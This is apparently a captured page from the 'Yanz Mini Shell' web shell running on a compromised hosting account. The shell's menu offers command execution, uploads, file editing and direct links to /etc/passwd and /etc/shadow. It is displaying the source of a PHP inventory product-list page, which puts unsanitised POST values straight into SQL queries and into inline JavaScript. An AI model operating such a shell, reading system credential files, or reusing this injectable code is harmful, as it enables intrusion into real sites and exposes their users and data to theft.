Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
housgcjs
elaan.net
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $path="admin/orna/"; require_once('admin/orna/db.php'); $where="where del ='N'";?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content="ProFinance"> <meta name="keyword" content=""> <title>Products</title> <script src="assets/js/jquery.js"></script> <!-- Bootstrap core CSS --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/orna.css" rel="stylesheet"> <!--external css--> <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" /> <link rel="stylesheet" type="text/css" href="assets/js/gritter/css/jquery.gritter.css" /> <!-- Custom styles for this template --> <link href="assets/css/style.css" rel="stylesheet"> <link href="assets/css/style-responsive.css" rel="stylesheet"> <link href="assets/js/datatables/jquery.dataTables.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/buttons.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/fixedHeader.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/responsive.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/scroller.bootstrap.min.css" rel="stylesheet" type="text/css" /> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <section id="container" > <!--header start--> <?php require_once('inc-core/header.inc')?> <!--header end--> <!--sidebar start--> <?php require_once('inc-core/side-bar.inc');?> <!--sidebar end--> <section id="main-content"> <section class="wrapper"> <div class="page-title"> <div class="title_left"> <h3>Products</h3> </div> <div class="title_right"> <a href="prod.php" title="New Product" style="float:right"> <button type="button" class="btn btn-theme"><i class="fa fa-plus-circle"></i> New Product</button> </a> <a href="onscreen/inventory_status.php" title="Product List" style="float:right;margin-right:10px;"> <button type="button" class="btn btn-default"><i class="fa fa-file-text-o"></i> Product List</button> </a> </div> </div> <div class="clearfix"></div> <div class="row" style="margin:0 1em;"> <div class="col-md-12 form-group pull-left" style="margin:0;padding:0px;"> <!--Filter Buttion--> <form action="prod_list.php" method="post"> <div class="col-md-3"> <label class="control-label">Product Nature</label> <select class="form-control" name="status" required="required"> <option value="*">All</option> <option value="inv">Inventory</option> <option value="n_inv">Non Inventory</option> <option value="ser">Services</option> <option value="char">Charges</option> </select> <script type="text/javascript"> var post_value = '<?php echo @$_POST['status']?>'; if (post_value != '') { $("select[name='status'] option[value='" + post_value + "'").prop("selected", true); } </script> </div> <div class="col-md-2"> <label class="control-label">Unit</label> <select name="unit" class="form-control"> <option value="*">All</option> <?php $sql1="select * from `".$MySQL_database."`.unt"; $query1=mysqli_query($connection,$sql1); while($result1=mysqli_fetch_assoc($query1)){ print "<option value=\""; echo $result1['id']; print"\">"; echo $result1['unt'];"</option>";}?> </select> <script type="text/javascript"> var post_value = '<?php echo @$_POST['unit']?>'; if (post_value != '') { $("select[name='unit'] option[value='" + post_value + "'").prop("selected", true); } </script> </div> <div class="col-md-2"> <label class="control-label">Group</label> <select name="grp_id" class="form-control"> <option value="*">All</option> <?php $sql2="select * from `".$MySQL_database."`.prod_grp"; $query2=mysqli_query($connection,$sql2); while($result2=mysqli_fetch_assoc($query2)){ print"<option value=\""; echo $result2['id']; print"\">"; echo $result2['grp'];"</option>";}?> </select> <script type="text/javascript"> var post_value = '<?php echo @$_POST['grp_id']?>'; if (post_value != '') { $("select[name='grp_id'] option[value='" + post_value + "'").prop("selected", true); } </script> </div> <div class="col-md-2"> <label class="control-label">Item Category</label> <select name="cat_id" class="form-control"> <option value="*">All</option> <?php $sql3="select * from `".$MySQL_database."`.prod_cat"; $query3=mysqli_query($connection,$sql3); while($result3=mysqli_fetch_assoc($query3)){ print"<option value=\""; echo $result3['id']; print"\">"; echo $result3['cat'];"</option>";}?> </select> <script type="text/javascript"> var post_value = '<?php echo @$_POST['cat_id']?>'; if (post_value != '') { $("select[name='cat_id'] option[value='" + post_value + "'").prop("selected", true); } </script> </div> <div class="form-group"> <div class="col-md-1"> <button type="submit" class="btn btn-dark go" style="width:100%"><i class="fa fa-filter"></i> Filter</button> </div> </div> </form> <!--Filter Buttion--> </div> <div class="col-md-12" style="margin-top:1em;padding:1em;"> <table id="datatable" class="table table-striped table-bordered table-hover"> <thead> <tr class="table_header"> <th>Sr. #</th> <th>Title</th> <th>Product Nature</th> <th>Unit</th> <th>Group</th> <th>Category</th> <th>Discount</th> <th>Tax %</th> <th>S.Price</th> <th>Balance</th> <th>Action</th> </tr> </thead> <tbody> <?php //------------Filter----------------- if(isset($_POST['status']) && $_POST['status']!='*'){ if($where!=''){ $where.=' AND '; }else{ $where.=" WHERE "; } $where.= " `status`='".$_POST['status']."'"; }else{ $where.=""; } if(isset($_POST['unit']) && $_POST['unit']!='*'){ if($where!=''){ $where.=' AND '; }else{ $where.=" WHERE "; } $where.= " `unit`='".$_POST['unit']."'"; }else{ $where.=""; } if(isset($_POST['grp_id']) && $_POST['grp_id']!='*'){ if($where!=''){ $where.=' AND '; }else{ $where.=" WHERE "; } $where.= " `grp_id`='".$_POST['grp_id']."'"; }else{ $where.=""; } if(isset($_POST['cat_id']) && $_POST['cat_id']!='*'){ if($where!=''){ $where.=' AND '; }else{ $where.=" WHERE "; } $where.= " `cat_id`='".$_POST['cat_id']."'"; }else{ $where.=""; } //------------Filter----------------- $sql2="select * from `".$MySQL_database."`.prod ".$where." order by nm"; $query2=mysqli_query($connection,$sql2); $sr =0; while($result=mysqli_fetch_assoc($query2)) { $sr++; $sql3="select * from `".$MySQL_database."`.unt where id='".$result['unit']."' and del='n'"; $unit=mysqli_fetch_assoc(mysqli_query($connection,$sql3)); $sql4="select * from `".$MySQL_database."`.prod_grp where id='".$result['grp_id']."' and del='n'"; $group=mysqli_fetch_assoc(mysqli_query($connection,$sql4)); $sql5="select * from `".$MySQL_database."`.prod_cat where id='".$result['cat_id']."' and del='n'"; $cat=mysqli_fetch_assoc(mysqli_query($connection,$sql5)); if($result['stkhnd']<=0){ $balance_stock="<span class=\"label label-danger label\" style=\"text-prodform:uppercase;\">".$result['stkhnd']."</span>"; }else{ $balance_stock=$result['stkhnd']; } if($result['status']=='inv'){ $nature= 'Inventory'; } else if($result['status']=='n_inv'){ $nature= 'Non Inventory'; } else if($result['status']=='ser'){ $nature= 'Services'; } else if($result['status']=='char'){ $nature= 'Charges'; }else{ $nature ='N/A'; } print" <tr> <td>".$sr."</td> <td><a href=\"item_ledger_parameters.php?prod_id=".$result['id']."&from=".$result['dt']."\" title=\"View Stock Ledger\" >".strtoupper($result['nm'])."</a></td> <td>".$nature."</td> <td>".$result['untsize']." ".$unit['unt']."</td> <td><span class=\"label label-success label\" style=\"text-prodform:uppercase;\">".$group['grp']."</span></td> <td>".$cat['cat']."</td> <td><span class=\"label label-warning label-mini\" style=\"text-prodform:uppercase;\">".$result['dis']."</span></td> <td>".$result['tax_per']." %</td> <td style=\"font-weight:bold;\">".$result['srate']."</td> <td style=\"font-weight:bold;\">".$balance_stock."</td> <td> <a href=\"prod_edit.php?id=".$result['id']."&tname=prod\"><button class=\"btn btn-primary btn-xs\"><i class=\"fa fa-pencil\"></i></button></a> <button type=\"button\" class=\"btn btn-danger btn-xs delete del_check\" data-toggle=\"modal\" data-target=\"#delete-modal\" data-id=\"".$result['id']."\" data-name=\"Product : ".$result['nm']."\" data-tname=\"prod\" data-ctable=\"store_out_t\" data-where_field=\"id\"><i class=\"fa fa-trash-o\"></i> </button> <a href=\"onscreen/item-ledger.php?prod_id=".$result['id']."&from=".date('Y/m/d', strtotime("-1 year"))."&till=".date('Y/m/d')."\" target=\"blank\" title=\"Print Ledger\"><button class=\"btn btn-default btn-xs\"><i class=\"fa fa-print\"></i></button></a> </td> </tr>";}?> </tbody> </table> </div><!-- /col-md-12 --> </div> </section><!--/wrapper --> </section><!-- /MAIN CONTENT --> <!--main content end--> <!-- Delete modal --> <div class="modal fade" id="delete-modal" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span> </button> <h4 class="modal-title" id="myModalLabel">Delete Item?</h4> </div> <div class="modal-body"> <h4>Are you sure you want to permanently delete the data?</h4> <p id="delete_data"></p> <p id="check_data"></p> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" data-dismiss="modal">Cancel</button> <button type="button" class="btn btn-danger confirm_delete" data-ajax_table="" data-ajax_id="" data-ajax_where_field="">Confirm Delete</button> </div> </div> </div> </div> <!-- Delete modal --> <?php require_once('inc-core/footer.inc')?> </section> <script src="assets/js/now.js"></script> <!-- js placed at the end of the document so the pages load faster --> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script> <script src="assets/js/jquery.ui.touch-punch.min.js"></script> <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script> <script src="assets/js/jquery.scrollTo.min.js"></script> <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script> <script src="admin/ajax/js/delete_act.js"></script> <!--common script for all pages--> <script src="assets/js/common-scripts.js"></script> <!-- Datatables--> <script src="assets/js/datatables/jquery.dataTables.min.js"></script> <script src="assets/js/datatables/dataTables.bootstrap.js"></script> <script src="assets/js/datatables/dataTables.buttons.min.js"></script> <script src="assets/js/datatables/buttons.bootstrap.min.js"></script> <script src="assets/js/datatables/jszip.min.js"></script> <script src="assets/js/datatables/pdfmake.min.js"></script> <script src="assets/js/datatables/vfs_fonts.js"></script> <script src="assets/js/datatables/buttons.html5.min.js"></script> <script src="assets/js/datatables/buttons.print.min.js"></script> <script src="assets/js/datatables/dataTables.fixedHeader.min.js"></script> <script src="assets/js/datatables/dataTables.keyTable.min.js"></script> <script src="assets/js/datatables/dataTables.responsive.min.js"></script> <script src="assets/js/datatables/responsive.bootstrap.min.js"></script> <script src="assets/js/datatables/dataTables.scroller.min.js"></script> <!--script for this page--> <script type="text/javascript" src="assets/js/gritter/js/jquery.gritter.js"></script> <script> var handleDataTableButtons = function () { "use strict"; 0 !== $("#datatable-buttons").length && $("#datatable-buttons").DataTable({ dom: "Bfrtip", buttons: [{ extend: "copy", className: "btn-sm" }, { extend: "csv", className: "btn-sm" }, { extend: "excel", className: "btn-sm" }, { extend: "pdf", className: "btn-sm" }, { extend: "print", className: "btn-sm" }], responsive: !0 }) }, TableManageButtons = function () { "use strict"; return { init: function () { handleDataTableButtons() } } }(); </script> <script type="text/javascript"> $(document).ready(function () { $('#datatable').dataTable(); $('#datatable-keytable').DataTable({ keys: true }); $('#datatable-responsive').DataTable(); $('#datatable-scroller').DataTable({ ajax: "js/datatables/json/scroller-demo.json", deferRender: true, scrollY: 380, scrollCollapse: true, scroller: true }); var table = $('#datatable-fixed-header').DataTable({ fixedHeader: true }); }); TableManageButtons.init(); </script> </body> </html>
Free Space : 77942726656 Byte